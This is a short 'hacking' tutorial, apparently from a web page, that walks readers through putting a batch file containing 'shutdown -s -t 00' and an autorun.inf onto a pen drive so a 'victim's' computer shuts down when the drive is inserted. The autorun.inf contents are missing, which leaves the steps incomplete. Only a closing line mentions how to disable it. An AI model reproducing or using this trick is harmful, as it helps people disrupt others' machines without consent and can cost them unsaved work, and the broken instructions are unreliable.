Step 1:>>copy this code into notepad:
shutdown -s -t 00
Save as besthacking.bat extension (for eg: besthacking.bat).
Now open the notepad and copy this code:
Save it as "autorun.inf"
Then copy the two files in your pen drive or victim's pen drive.
That's all whenever the victim insert his pen drive,the system will be turned off automatically.
Check How to Disable This:-
First Stop Autorun in Your Computer And Then Format Pendrive..